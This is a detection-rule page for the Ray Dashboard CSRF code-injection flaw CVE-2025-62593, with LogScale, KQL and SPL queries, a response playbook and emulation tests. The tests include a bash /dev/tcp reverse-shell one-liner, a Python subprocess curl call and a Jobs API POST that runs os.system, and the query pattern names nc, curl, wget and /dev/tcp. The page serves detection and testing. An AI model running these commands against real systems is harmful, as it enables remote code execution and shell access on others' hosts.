CVE-2025-62593 CrowdStrike LogScale · LogScale

Detect Ray Dashboard Code Injection via CSRF (CVE-2025-62593) in CrowdStrike LogScale

Detects exploitation of CVE-2025-62593, a code injection vulnerability in the Ray-Project Ray distributed compute framework. The Ray Dashboard/Jobs API accepts job submissions that execute arbitrary code on cluster nodes; combined with cross-site request forgery (CWE-352) and unsafe code injection (CWE-94), an attacker can force job submissions that run attacker-controlled Python/shell code as the Ray worker or head-node user. This detection surfaces anomalous Ray Job Submission API calls, unexpected child processes spawned from Ray worker/raylet processes, and network callbacks originating from Ray nodes. CVE-2025-62593 is listed in the CISA KEV catalog.

MITRE ATT&CK

Tactic
Initial Access Execution Lateral Movement

LogScale Detection Query

CrowdStrike LogScale (LogScale)
cql
#event_simpleName=ProcessRollup2
| in(field="ParentBaseFileName", values=["raylet","gcs_server","python","python3"])
| in(field="FileName", values=["bash","sh","powershell.exe","pwsh","cmd.exe","curl","wget","nc","ncat"])
| CommandLine=/(-c |base64|curl|wget|\/dev\/tcp\/|subprocess|import os|eval\(|exec\()/i
| groupBy([aid, UserName, ParentBaseFileName, FileName, CommandLine])
high severity medium confidence

CrowdStrike CQL query surfacing Ray daemon child processes executing injected code.

Data Sources

CrowdStrike Falcon Process Telemetry

Required Tables

ProcessRollup2

False Positives & Tuning

  • Ray tasks shelling out for legitimate tooling.
  • ML training subprocesses.
  • Operator-submitted Ray jobs.

Other platforms for CVE-2025-62593


Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Simulated Ray worker spawning reverse-shell child process

    Expected signal: Process creation event with parent process named 'raylet' spawning bash with a /dev/tcp reverse-shell command line.

  2. Test 2Ray job code-injection simulation via inline Python

    Expected signal: Python process with command line containing 'import os' and 'subprocess' launching curl.

  3. Test 3Anomalous Ray Jobs API submission (CSRF style)

    Expected signal: HTTP POST to /api/jobs/ on port 8265 lacking Origin/Referer, followed by process execution on the node.


Response Playbook

Triage

  1. Confirm the alerting host is a Ray cluster node (head or worker) and identify the Ray version to determine if it is within the vulnerable range per GHSA-q279-jhrf-cc6v.
  2. Review the Ray Dashboard / Jobs API access logs (default port 8265) around the alert time for unexpected job submissions, unknown source IPs, or requests lacking a valid Referer/Origin (CSRF indicator).
  3. Inspect the full command line of the child process spawned by the raylet/worker to determine whether it executes attacker-controlled code (reverse shells, base64 payloads, curl/wget to external hosts).
  4. Correlate the spawning user account and node identity to establish whether execution matches any authorized job submission.

Containment

  1. Isolate the affected Ray node(s) from the network to stop lateral movement and further job execution.
  2. Block external access to the Ray Dashboard/Jobs API (port 8265) at the network boundary and disable anonymous job submission until patched.
  3. Kill malicious child processes and revoke any credentials or tokens exposed on the compromised node.

Evidence Collection

  1. Capture the Ray Dashboard/Jobs API access logs, raylet logs, and job submission payloads (job driver scripts) for the incident window.
  2. Collect process creation telemetry, the malicious command lines, and any dropped files or scripts from the affected node.
  3. Preserve network connection logs showing outbound callbacks from Ray nodes to external IPs.

Escalation Criteria

  • !Escalate to incident response if a reverse shell, data exfiltration, or lateral movement from the Ray node is confirmed.
  • !Escalate if the Ray head node or nodes holding sensitive datasets/credentials are affected, or if the API was exposed to the internet.

Investigation Guide

Related Techniques

Forensic Artifacts

  • >Ray Dashboard/Jobs API access logs (port 8265) and raylet/gcs_server logs.
  • >Submitted job driver scripts and job metadata under the Ray temp/session directory (/tmp/ray/session_*).
  • >Process creation records showing raylet/worker parent with shell/interpreter children.

Tuning Guidance

Baseline the normal set of subprocesses spawned by your Ray workloads (many legitimately call curl/wget or Python subprocesses). Add known-good job driver hashes, internal registry IPs, and sanctioned data-tool binaries to an allowlist. Restrict the alert to nodes where the Ray Dashboard/Jobs API is network-reachable, and raise severity when the child process makes outbound connections to public IPs or the API request lacked a valid Origin/Referer header.


Hunting Queries

Hunts for outbound network connections from Ray processes to public IP addresses, indicating C2 or exfiltration from an injected job.

Hunting — KQL
kql
DeviceNetworkEvents | where InitiatingProcessFileName in~ ("raylet","python","python3") | where RemoteIPType == "Public" | summarize count() by DeviceName, RemoteIP, RemotePort, InitiatingProcessCommandLine
Hunting — SPL
spl
index=edr (parent_process_name IN ("raylet","python","python3")) dest_ip=* | where NOT cidrmatch("10.0.0.0/8", dest_ip) AND NOT cidrmatch("172.16.0.0/12", dest_ip) | stats count by host, dest_ip, dest_port, process

Atomic Red Team Tests

Test 1 Simulated Ray worker spawning reverse-shell child process
linux

Emulates a Ray raylet/worker process launching a shell with an inline command, mimicking code injection via the Jobs API.

Command

bash
cp /bin/bash /tmp/raylet && /tmp/raylet -c "bash -i >& /dev/tcp/127.0.0.1/4444 0>&1" 2>/dev/null; echo 'simulated raylet child spawn'

Cleanup

bash
rm -f /tmp/raylet

Expected Telemetry

Process creation event with parent process named 'raylet' spawning bash with a /dev/tcp reverse-shell command line.

Expected Detection

KQL/EQL/CQL rules match on raylet parent + shell child with /dev/tcp/ in command line.

Test 2 Ray job code-injection simulation via inline Python
linux

Simulates an injected Ray job that executes OS commands through Python subprocess, as would occur from a malicious job submission.

Command

bash
python3 -c "import os,subprocess; subprocess.run(['curl','-s','http://127.0.0.1/injected'])" ; echo 'simulated injected job'

Cleanup

bash
echo 'no cleanup required'

Expected Telemetry

Python process with command line containing 'import os' and 'subprocess' launching curl.

Expected Detection

Detection matches Python/subprocess + curl child process pattern.

Test 3 Anomalous Ray Jobs API submission (CSRF style)
linux

Sends a job submission to the local Ray Jobs API without an Origin header, emulating a CSRF-driven code-injection request.

Command

bash
curl -s -X POST http://127.0.0.1:8265/api/jobs/ -H 'Content-Type: application/json' -d '{"entrypoint":"python -c \"import os;os.system(id)\""}' ; echo 'simulated job submit'

Cleanup

bash
echo 'no cleanup required'

Expected Telemetry

HTTP POST to /api/jobs/ on port 8265 lacking Origin/Referer, followed by process execution on the node.

Expected Detection

Web/proxy logs and subsequent process-spawn detections correlate the API submission with node code execution.

Related Detections